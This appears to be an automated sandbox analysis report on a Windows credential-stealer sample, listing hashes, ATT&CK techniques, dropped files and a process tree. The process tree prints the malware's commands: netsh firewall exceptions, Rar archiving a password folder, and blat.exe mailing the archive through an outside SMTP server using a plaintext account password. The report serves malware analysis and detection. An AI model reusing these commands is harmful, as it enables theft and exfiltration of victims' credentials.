c2bf7c850b47723a1a3fcde1ee1b45e20814f540ce80a722589feda5ffbeb462

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
14/01/2024, 09:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5ae20a856a74a2e2755d0b29bbc88040.exe
Size 410KB
Sample240114-ldymtsgfc4
SHA256 c2bf7c850b47723a1a3fcde1ee1b45e20814f540ce80a722589feda5ffbeb462
MD5 5ae20a856a74a2e2755d0b29bbc88040
SHA1 04e3d0783bc1ba61ff65037710078b9ebfdd5f5f
SHA512 63e3915ee3063d19e1e0f363fdc03112eca71eabd089382c47a8a0cb7a634aef792a62279240761aa103417970702a43cb682b0f390f5716fd3307201c71c57a
SSDEEP 12288:Qutrzh9xOXkqS3G4htVfnnH7EhYj88VykRRgjPcN:Qutr5OUql4htVfnnH7E+A8ok8q
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

evasion spyware stealer upx

Malware Config

Signatures

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
2392	netsh.exe
3820	netsh.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation	cookies.exe
Key value queried	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation	5ae20a856a74a2e2755d0b29bbc88040.exe

Executes dropped EXE 4 IoCs

pid	Process
4332	cookies.exe
2348	Rar.exe
4824	blat.exe
4252	blat.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0006000000023222-12.dat	upx
behavioral2/memory/4332-17-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral2/memory/4332-43-0x0000000000400000-0x0000000000410000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4736 wrote to memory of 4332	4736	5ae20a856a74a2e2755d0b29bbc88040.exe	89
PID 4736 wrote to memory of 4332	4736	5ae20a856a74a2e2755d0b29bbc88040.exe	89
PID 4736 wrote to memory of 4332	4736	5ae20a856a74a2e2755d0b29bbc88040.exe	89
PID 4332 wrote to memory of 3652	4332	cookies.exe	91
PID 4332 wrote to memory of 3652	4332	cookies.exe	91
PID 4332 wrote to memory of 3652	4332	cookies.exe	91
PID 3652 wrote to memory of 3820	3652	cmd.exe	95
PID 3652 wrote to memory of 3820	3652	cmd.exe	95
PID 3652 wrote to memory of 3820	3652	cmd.exe	95
PID 3652 wrote to memory of 2392	3652	cmd.exe	97
PID 3652 wrote to memory of 2392	3652	cmd.exe	97
PID 3652 wrote to memory of 2392	3652	cmd.exe	97
PID 3652 wrote to memory of 2348	3652	cmd.exe	98
PID 3652 wrote to memory of 2348	3652	cmd.exe	98
PID 3652 wrote to memory of 2348	3652	cmd.exe	98
PID 3652 wrote to memory of 4824	3652	cmd.exe	99
PID 3652 wrote to memory of 4824	3652	cmd.exe	99
PID 3652 wrote to memory of 4824	3652	cmd.exe	99
PID 3652 wrote to memory of 4252	3652	cmd.exe	100
PID 3652 wrote to memory of 4252	3652	cmd.exe	100
PID 3652 wrote to memory of 4252	3652	cmd.exe	100

C:\Users\Admin\AppData\Local\Temp\5ae20a856a74a2e2755d0b29bbc88040.exe
"C:\Users\Admin\AppData\Local\Temp\5ae20a856a74a2e2755d0b29bbc88040.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4736
- C:\1\cookies.exe
  "C:\1\cookies.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4332
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\49BB.tmp\cookies.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3652
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "blat.exe" "Windows" ENABLE
      4⤵
      Modifies Windows Firewall
      PID:3820
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "MPR.exe" "Windows" ENABLE
      4⤵
      Modifies Windows Firewall
      PID:2392
  - - C:\1\Rar.exe
      C:\1\Rar.exe a -r C:\1\pass.rar C:\1\my_pass\
      4⤵
      Executes dropped EXE
      PID:2348
  - - C:\1\blat.exe
      C:\1\blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u [email protected] -pw yuihjkbnm
      4⤵
      Executes dropped EXE
      PID:4824
  - - C:\1\blat.exe
      C:\1\blat.exe AAKWQUEG.txt -attach C:\1\pass.rar -to [email protected]
      4⤵
      Executes dropped EXE
      PID:4252

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Rar.exe

Path C:\1\Rar.exe
Size 368KB
SHA256 4c84ef94ac95976b5c048e517cabf67af6daf64a8711fb57a9129ef5f78d1154
MD5 540aa99c92b9c35679f40c4f121b1ed4
SHA1 b14fcd60d6347063d05594b03324567399bb5880
SHA512 11b2035bb0e9be80bbf4267bfca357aa73a820857f6d52e88f2b63ec8a910c93d20ad54a1dc24538ce4a441d097bb6059e983fb57d532cac2155fa58a4f89661
SSDEEP 6144:0foFhsRZQOomY802by4PlJqR9fXlKiE7ymaxNo6bKEVHCOPU+a/SG6Bhq:0fqsRGcYKyuY9P2upxNXuEVHJaAh
MD5 SHA1 SHA512 SSDEEP

Submit Download

blat.dll

Path C:\1\blat.dll
Size 120KB
SHA256 b87814eaf1cd5268e797f1119b58e3fd79381af3f530be9a90993198cbce1779
MD5 724cae63522f6e5f7565a3bf4b2a719b
SHA1 18620dbd4357d85918070f669ff4b61755290757
SHA512 af68749cadf9920a8bed455a2557b1faf475d30fdd62f45da6757fbc5a59341fffeccca4ff646b334da95cf673deeeea74bdbb27a16f510a4e3309055f89817d
SSDEEP 3072:tN3YqC7ZpufmsbSB0RaZCdLkMzdTv/3qq1iica:tN3Yq4ZpAPeB0fkMzgGHh
MD5 SHA1 SHA512 SSDEEP

Submit Download

blat.exe

Path C:\1\blat.exe
Size 112KB
SHA256 aeca4a77d617da84296b5f857b2821333fe4b9663e8df74ef5a25a7882693e5e
MD5 31f84e433e8d1865e322998a41e6d90e
SHA1 cbea6cda10db869636f57b1cffad39b22e6f7f17
SHA512 7ae504723b5b140e45af3163d1bfdc5ee0497debafba07cfbf1d2c15147c000be53f4ac8d36d926ed11cf0bb62e9e72f9bcf5d4caf92aa732d942f55834e2be9
SSDEEP 3072:ag5DTZCatGyIMzdze3BO+ggUFLVRM8uTv/3hH4:zDTZCatGyI+dze3BNgpVRM8+H
MD5 SHA1 SHA512 SSDEEP

Submit Download

blat.lib

Path C:\1\blat.lib
Size 2KB
SHA256 b545194041588fc0a6f57e7eb5a93d2418aaa263d246e3c696a79ee5859770ff
MD5 3cd3cffda2b5108e2778f94429c624d6
SHA1 3e4d218d1b8eb4fa1ab5152b126951892aff3dc9
SHA512 c80080afcc982c4e950876756fb32c7f24fbe45bfbbe78afe144be1ede86dc9ef1e57db95d3df7f4c6011fd226f23684b929781b55d1be659cfa75d14f8d0c79
MD5 SHA1 SHA512

Submit Download

cookies.exe

Path C:\1\cookies.exe
Size 21KB
SHA256 77609a8f6b33e29b39c94020f80b64f3d57fd05f4451acf79d41f5014309c505
MD5 a2b079657765e16a5a9259af0064a293
SHA1 04156667a14325818d9949be79539a9bcd59665d
SHA512 93dbb538fa8a25762c3d66ce2c195aa72eca7ef3532b6f40e7c303a476d96b3224a32fbde5d989cbb5c197e10a764d8bbb213d06efa56c0676a8eba4aa6fc32e
SSDEEP 384:2IiV728hUQ7Y2P/cVEccDdye7kjlWLe7grPiA8jyrMPhTjanbBoZG/qaRaNJawcG:2RGuY2P0Vo6r7SiAwyrMRjbQ/qxnbcu0
MD5 SHA1 SHA512 SSDEEP

Submit Download

pass.rar

Path C:\1\pass.rar
Size 58KB
SHA256 e337f5da75343d7294bcabc65abaecb6ce47a321268d55c7a42632386095b3eb
MD5 02c2d54324381ac4b605f56fc1ce5e28
SHA1 a98ea52506ba056ba883e0e0004d559623e84df3
SHA512 c57039642bcb40470d83aee6b90b44ce9e052d887ab5afdd6016f7c63c6731ae74c03a41648692d899c53aa26baecd8f4548f6d516e1e5b294449f6d750b51d7
SSDEEP 1536:GCUFEq2MUouDFXncCUFEq2MUouDFXnBCUFEq2MUouDFXnX:PWEq3UoQ3NWEq3UoQ38WEq3UoQ3X
MD5 SHA1 SHA512 SSDEEP

Submit Download

AAKWQUEG.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\AAKWQUEG.txt
Size 31B
SHA256 d96e61d954a3426055a609aefe83de5c42d06f8c71cafd93c193b0fabd69905b
MD5 9cd98ecac9e256a5b7bc61a82808b1fa
SHA1 21c4c0942903a772b4c1a6a0df0d7e53dfc7ebe2
SHA512 ac627be1798590c42640a92b582581cc7db3d0eff863a9adcb2e2bed9c35f09a0bc1dd9e8a247aad8a418f3d49ae4e9241120416274f1875774af2024a2c6f2e
MD5 SHA1 SHA512

Submit Download

cookies.bat

Path C:\Users\Admin\AppData\Local\Temp\49BB.tmp\cookies.bat
Size 1KB
SHA256 2229ea1c10b9d1925de4e27613ae36d9e85542d07fc9c7fa72aae5664d7a0414
MD5 120f93ad008758f4a2da8dc5a0c65730
SHA1 3de7aa7a0f57672f95ac6f062e6d0ded4e15b464
SHA512 97d09b9df8a8bf14d69e3406f09c674bf70142bc8c9a2c9a66dca46fff7fc200d7940af3e550ac46f27effebb23eee4734588481677dbc38d7fe735afd781108
MD5 SHA1 SHA512

Submit Download

memory/4332-17-0x0000000000400000-0x0000000000410000-memory.dmp

Download

memory/4332-43-0x0000000000400000-0x0000000000410000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads